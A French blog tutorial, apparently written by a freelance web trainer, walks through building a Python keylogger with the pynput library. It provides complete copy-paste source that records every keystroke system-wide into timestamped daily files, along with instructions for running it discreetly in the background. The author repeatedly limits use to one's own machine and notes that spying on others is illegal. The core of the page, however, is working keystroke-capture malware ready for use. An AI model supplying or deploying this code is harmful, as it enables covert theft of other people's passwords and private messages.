Coder un keylogger en Python : Guide complet !

Dans ce tutoriel, nous allons explorer comment créer un keylogger simple en Python. J’insiste sur le fait que cet outil doit uniquement être utilisé sur votre propre machine, dans un but d’apprentissage. Nous allons pas à pas créer un programme capable de capturer vos frappes clavier et de les enregistrer dans un fichier texte, et nous verrons comment le lancer et l’arrêter facilement depuis le terminal.

Comprendre ce qu’est un keylogger

Avant de nous lancer dans le code, il est important de comprendre le fonctionnement d’un keylogger. Un keylogger est un programme qui écoute les événements du clavier et enregistre chaque touche pressée. Pour notre cas, nous allons créer un keylogger qui fonctionne en mode terminal, ce qui signifie qu’il n’aura pas besoin d’interface graphique. Chaque frappe sera enregistrée dans un fichier texte sur votre ordinateur.

Nous allons utiliser Python car c’est un langage simple, très lisible, et qui dispose de bibliothèques puissantes pour intercepter les événements clavier. La bibliothèque la plus adaptée pour notre projet est pynput, qui permet de contrôler et d’écouter les périphériques d’entrée comme le clavier et la souris.

Préparer son environnement

Avant de coder, nous devons préparer notre environnement Python. Assurez-vous d’avoir Python 3 installé sur votre machine. Pour vérifier, ouvrez votre terminal et tapez :

python3 --version

Vous devriez voir s’afficher la version de Python installée, par exemple Python 3.12.6. Si Python n’est pas installé, téléchargez-le depuis le site officiel python.org et installez-le.

Ensuite, nous allons installer la bibliothèque pynput. Dans le terminal, tapez :

pip install pynput

Cette commande téléchargera et installera le module nécessaire pour capturer les frappes clavier. Si vous utilisez macOS ou Linux, il se peut que vous deviez utiliser pip3 ou pipx à la place de pip.

Pour forcer l’installation :

pip3 install --break-system-packages pynput

Écrire le code du keylogger

Maintenant que tout est prêt, nous allons écrire le code. Nous allons créer un fichier Python, par exemple keylogger.py. Ouvrez votre éditeur de texte préféré et suivez ces explications.

Tout d’abord, nous importons les bibliothèques nécessaires :

from pynput.keyboard import Listener
import logging

Ici, Listener va nous permettre d’écouter le clavier, et logging servira à enregistrer les frappes dans un fichier texte.

Ensuite, nous configurons le fichier de sortie où seront enregistrées les frappes :

logging.basicConfig(
    filename="keylog.txt",  # Nom du fichier où les frappes seront stockées
    level=logging.INFO,     # Niveau de journalisation
    format="%(asctime)s: %(message)s"  # Format des entrées avec date et heure
)

Chaque frappe sera ainsi enregistrée avec l’heure exacte à laquelle elle a été faite. Cela permet de suivre la séquence des frappes de manière claire.

Maintenant, nous allons définir une fonction qui sera appelée à chaque touche pressée :

def on_press(key):
    try:
        logging.info(str(key))  # Enregistre la touche dans le fichier
    except Exception as e:
        print(f"Erreur : {e}")

La fonction on_press reçoit l’objet key représentant la touche pressée. Nous le convertissons en chaîne de caractères et l’enregistrons dans notre fichier. L’exception sert à éviter que le programme plante si une touche spéciale pose problème.

Créer le listener et lancer le keylogger

Maintenant que nous avons défini la fonction on_press, nous devons créer un listener qui va écouter en continu les frappes clavier. Le listener est comme un œil toujours ouvert sur votre clavier : à chaque pression, il appelle la fonction que nous avons définie.

Ajoutez ce code à la suite de votre fichier keylogger.py :

with Listener(on_press=on_press) as listener:
    print("Keylogger lancé. Appuyez sur Ctrl+C pour l'arrêter.")
    listener.join()

Voici ce que fait ce code :

1. Listener(on_press=on_press) crée un listener attaché à la fonction on_press.
2. Le mot-clé with permet de démarrer le listener et de s’assurer qu’il sera correctement fermé lorsque nous arrêtons le programme.
3. listener.join() met le programme en attente, ce qui signifie que le script restera actif et continuera à écouter le clavier tant que vous ne l’arrêtez pas.
4. Le message imprimé Keylogger lancé. Appuyez sur Ctrl+C pour l'arrêter. informe l’utilisateur que le keylogger fonctionne et comment l’interrompre.

Lancer le keylogger depuis le terminal

Pour exécuter votre keylogger, ouvrez le terminal, naviguez jusqu’au dossier où se trouve keylogger.py, puis tapez :

python3 keylogger.py

Si tout se passe bien, vous devriez voir s’afficher le message :

Keylogger lancé. Appuyez sur Ctrl+C pour l'arrêter.

À partir de ce moment, toutes vos frappes sur le clavier seront enregistrées dans le fichier keylog.txt. Vous pouvez ouvrir ce fichier avec n’importe quel éditeur de texte pour vérifier que vos frappes sont bien capturées.

Arrêter le keylogger proprement

Pour arrêter le keylogger, rien de plus simple. Comme indiqué dans le terminal, appuyez sur Ctrl+C. Cette combinaison envoie un signal d’interruption au script Python, qui ferme alors le listener et termine le programme.

Si vous souhaitez, vous pouvez également ajouter une petite fonction pour afficher un message de confirmation lorsque le keylogger s’arrête. Modifions légèrement notre code :

def on_release(key):
    if key == Key.esc:  # Si vous appuyez sur la touche Échap
        print("Keylogger arrêté.")
        return False       # Cela arrête le listener

Puis importez Key depuis pynput en haut de votre fichier :

from pynput.keyboard import Listener, Key

Ensuite, modifiez le listener pour inclure on_release :

with Listener(on_press=on_press, on_release=on_release) as listener:
    print("Keylogger lancé. Appuyez sur Échap pour l'arrêter.")
    listener.join()

Maintenant, le keylogger s’arrêtera dès que vous appuierez sur la touche Échap, offrant une méthode plus intuitive que Ctrl+C.

Comprendre le fonctionnement interne

Il est important de bien comprendre ce que fait notre keylogger :

1. Listener : écoute le clavier en temps réel.
2. Fonction on_press : transforme chaque touche en texte et l’enregistre dans un fichier.
3. Fichier keylog.txt : contient un historique complet des frappes, horodaté grâce à logging.
4. Arrêt du script : soit via Ctrl+C, soit via une touche spéciale configurée (ici Échap).

Grâce à cette structure, nous avons un keylogger simple, mais complet, et surtout sécurisé pour un usage personnel, ce qui est essentiel pour rester dans la légalité.

Sécuriser et tester le keylogger

Pour tester votre keylogger sans risquer d’écraser des données importantes :

• Créez un nouveau dossier pour le projet et placez keylogger.py dedans.
• Ne partagez jamais le script avec d’autres personnes.
• Testez vos frappes dans des applications sans données sensibles.
• Vérifiez que le fichier keylog.txt est correctement mis à jour à chaque frappe.

Améliorer la lisibilité des frappes enregistrées

Si vous ouvrez le fichier keylog.txt après quelques minutes d’utilisation, vous remarquerez peut-être que les frappes apparaissent avec des notations un peu brutes comme Key.space, Key.enter ou encore 'a'.

C’est fonctionnel, mais pas toujours agréable à lire. Nous pouvons améliorer cela en traduisant certaines touches spéciales en mots plus clairs ou en symboles, afin de rendre le fichier de log plus parlant.

Des formations informatique pour tous !

Débutant ou curieux ? Apprenez le développement web, le référencement, le webmarketing, la bureautique, à maîtriser vos appareils Apple et bien plus encore…

Formateur indépendant, professionnel du web depuis 2006, je vous accompagne pas à pas et en cours particulier, que vous soyez débutant ou que vous souhaitiez progresser. En visio, à votre rythme, et toujours avec pédagogie.

Découvrez mes formations Qui suis-je ?

Voici comment modifier notre fonction on_press pour mieux formater les touches :

def on_press(key):
    try:
        # Si la touche est une lettre ou un chiffre
        logging.info(key.char)
    except AttributeError:
        # Si c'est une touche spéciale (Espace, Entrée, etc.)
        if key == Key.space:
            logging.info(" [ESPACE] ")
        elif key == Key.enter:
            logging.info(" [ENTREE] ")
        elif key == Key.tab:
            logging.info(" [TABULATION] ")
        elif key == Key.backspace:
            logging.info(" [SUPPR] ")
        else:
            logging.info(f" [{key}] ")

Avec cette version, si vous appuyez sur la barre espace, le fichier affichera [ESPACE] au lieu de Key.space, ce qui est plus clair.

Ajouter un système de démarrage et d’arrêt plus intuitif

Nous avons déjà vu que l’on pouvait arrêter le keylogger avec la touche Échap ou Ctrl+C. Mais on peut aussi prévoir un système de “mot-clé” d’arrêt. Par exemple, si l’utilisateur tape une séquence particulière, le keylogger se ferme.

Imaginons que le mot-clé soit STOPLOG.

Nous pouvons modifier notre script pour garder en mémoire les dernières frappes et vérifier si elles correspondent au mot-clé :

buffer = ""  # Stocke les dernières frappes

def on_press(key):
    global buffer
    try:
        touche = key.char
        buffer += touche
        logging.info(touche)
    except AttributeError:
        if key == Key.space:
            buffer += " "
            logging.info(" [ESPACE] ")
        elif key == Key.enter:
            buffer += "\n"
            logging.info(" [ENTREE] ")
        elif key == Key.backspace:
            buffer = buffer[:-1]
            logging.info(" [SUPPR] ")
        else:
            logging.info(f" [{key}] ")

    # Si le mot-clé STOPLOG est détecté, on arrête
    if "STOPLOG" in buffer:
        print("Mot-clé d'arrêt détecté. Keylogger arrêté.")
        return False

Cela vous donne une autre méthode d’arrêt, qui peut être utile si vous ne voulez pas toucher au terminal pendant un test.

Gérer proprement les erreurs

Un keylogger écoute le clavier en permanence, il est donc important qu’il ne plante pas au moindre problème.
Par exemple, certaines touches ou combinaisons peuvent provoquer des exceptions si elles ne sont pas gérées correctement.

Nous avons déjà prévu un try/except, mais nous pouvons l’améliorer pour qu’il affiche aussi les erreurs dans le terminal, tout en continuant l’enregistrement.

def on_press(key):
    global buffer
    try:
        touche = key.char
        buffer += touche
        logging.info(touche)
    except AttributeError:
        try:
            if key == Key.space:
                buffer += " "
                logging.info(" [ESPACE] ")
            elif key == Key.enter:
                buffer += "\n"
                logging.info(" [ENTREE] ")
            elif key == Key.backspace:
                buffer = buffer[:-1]
                logging.info(" [SUPPR] ")
            else:
                logging.info(f" [{key}] ")
        except Exception as e:
            print(f"Erreur lors du traitement de la touche : {e}")

Ainsi, même si une touche inconnue pose problème, le programme continue de tourner sans se bloquer.

Garder un fichier de log léger et organisé

Si vous laissez tourner le keylogger longtemps, le fichier keylog.txt peut devenir énorme. Pour éviter cela, on peut :

• Créer un nouveau fichier chaque jour
• Limiter la taille d’un fichier et en démarrer un autre automatiquement

Par exemple, pour créer un fichier par jour :

import os
from datetime import datetime

# Nom du fichier basé sur la date du jour
log_filename = f"keylog_{datetime.now().strftime('%Y-%m-%d')}.txt"

logging.basicConfig(
    filename=log_filename,
    level=logging.INFO,
    format="%(asctime)s: %(message)s"
)

Ainsi, chaque jour, un nouveau fichier sera créé, ce qui rend la consultation et l’archivage plus simples.

Lancer le keylogger en arrière-plan

Pour que votre terminal reste libre pendant que le keylogger tourne, vous pouvez le lancer en arrière-plan.

Sous Linux ou macOS :

python3 keylogger.py &

Le & permet d’exécuter le script en arrière-plan.
Pour le stopper, vous pouvez utiliser la commande kill suivie du PID du processus :

ps aux | grep keylogger.py
kill <PID>

Sous Windows, vous pouvez ouvrir un deuxième terminal, ou utiliser start /B python keylogger.py pour un lancement discret.

Ce que nous avons construit

À ce stade, notre keylogger est :

• Fonctionnel : capture toutes les frappes
• Lisible : traduit les touches spéciales en texte clair
• Flexible : peut s’arrêter via Échap, Ctrl+C, ou un mot-clé
• Fiable : gère les erreurs sans planter
• Organisé : enregistre les frappes dans un fichier quotidien

Nous avons ainsi un outil complet pour comprendre le fonctionnement de la capture clavier en Python, tout en respectant les règles de sécurité et de légalité.

Résumé et code complet du keylogger en Python

Après toutes les étapes que nous avons vues, voici le code finalisé et prêt à copier-coller. Il combine l’écoute du clavier, la traduction des touches spéciales, la gestion des erreurs, l’arrêt par Échap ou mot-clé, et l’organisation des fichiers par date.

from pynput.keyboard import Listener, Key
import logging
from datetime import datetime

# Création d'un fichier de log quotidien
log_filename = f"keylog_{datetime.now().strftime('%Y-%m-%d')}.txt"
logging.basicConfig(
    filename=log_filename,
    level=logging.INFO,
    format="%(asctime)s: %(message)s"
)

buffer = ""  # Stocke les dernières frappes pour le mot-clé d'arrêt

def on_press(key):
    global buffer
    try:
        # Capture des lettres et chiffres
        touche = key.char
        buffer += touche
        logging.info(touche)
    except AttributeError:
        try:
            # Gestion des touches spéciales
            if key == Key.space:
                buffer += " "
                logging.info(" [ESPACE] ")
            elif key == Key.enter:
                buffer += "\n"
                logging.info(" [ENTREE] ")
            elif key == Key.tab:
                buffer += "\t"
                logging.info(" [TABULATION] ")
            elif key == Key.backspace:
                buffer = buffer[:-1]
                logging.info(" [SUPPR] ")
            else:
                logging.info(f" [{key}] ")
        except Exception as e:
            print(f"Erreur lors du traitement de la touche : {e}")

    # Arrêt si mot-clé détecté
    if "STOPLOG" in buffer:
        print("Mot-clé d'arrêt détecté. Keylogger arrêté.")
        return False

def on_release(key):
    # Arrêt si touche Échap
    if key == Key.esc:
        print("Touche Échap pressée. Keylogger arrêté.")
        return False

# Lancement du listener
with Listener(on_press=on_press, on_release=on_release) as listener:
    print("Keylogger lancé. Appuyez sur Échap ou tapez 'STOPLOG' pour arrêter.")
    listener.join()

Ce script est conçu pour être utilisé uniquement sur votre machine à des fins pédagogiques et pour mieux comprendre Python et la capture d’événements clavier.

Lancer et arrêter le keylogger

1. Lancer :
   Ouvrez le terminal, allez dans le dossier contenant le script, puis tapez : python3 keylogger.py Le message suivant s’affiche : Keylogger lancé. Appuyez sur Échap ou tapez 'STOPLOG' pour arrêter.
2. Arrêter :
   • Appuyez sur Échap, ou
   • Tapez le mot-clé STOPLOG dans n’importe quelle application.
3. Vérifier les frappes :
   Le fichier keylog_YYYY-MM-DD.txt contiendra toutes vos frappes, horodatées et lisibles.

Conseils pour tester votre keylogger

• Faites tourner le script dans un dossier dédié pour ne pas mélanger les logs avec d’autres fichiers.
• Testez uniquement vos propres frappes.
• Ne partagez jamais ce script pour éviter tout usage illégal.
• Vous pouvez expérimenter en ajoutant des fonctionnalités comme l’envoi de fichiers journaux vers un dossier sécurisé ou la création de logs compressés pour chaque jour.

FAQ – Questions fréquentes

1. Est-ce légal d’utiliser ce keylogger ?
Oui, uniquement sur votre propre machine. Il est illégal d’espionner quelqu’un d’autre sans son consentement.

2. Puis-je l’utiliser pour capturer toutes mes frappes dans toutes les applications ?
Oui, le listener fonctionne globalement sur votre machine. Toutes les frappes sont enregistrées dans le fichier de log.

3. Que se passe-t-il si j’appuie sur Ctrl+C dans le terminal ?
Le programme s’interrompt immédiatement et le listener se ferme proprement.

4. Comment gérer plusieurs fichiers de logs pour ne pas avoir un fichier trop volumineux ?
Le script actuel crée un fichier par jour. Vous pouvez également ajouter une limite de taille et créer un nouveau fichier automatiquement si nécessaire.

5. Puis-je rendre le keylogger plus discret ?
Pour l’usage pédagogique, il est préférable de garder un message visible. Pour des tests personnels avancés, vous pouvez le lancer en arrière-plan, mais toujours sur votre machine.

Conclusion et bonnes pratiques

Nous avons vu comment créer un keylogger simple en Python, le lancer, l’arrêter et organiser les fichiers de log. Vous avez appris à :

• Installer et utiliser la bibliothèque pynput
• Capturer les touches normales et spéciales
• Gérer les erreurs et maintenir le script robuste
• Arrêter le keylogger de manière intuitive

Ce projet est un excellent exercice pour comprendre le fonctionnement des événements clavier, l’écriture dans des fichiers, et la gestion des exceptions en Python.

Il vous permet également d’expérimenter avec des concepts avancés comme les listeners et les logs horodatés, tout en respectant la légalité.

En suivant ce guide étape par étape, vous avez maintenant un outil pédagogique complet, clair, structuré et prêt à l’usage sur votre propre machine.

Alban

Fondateur de l’agence Créa-troyes.
Intervenant en Freelance.
Contactez-moi

crea-troyes.fr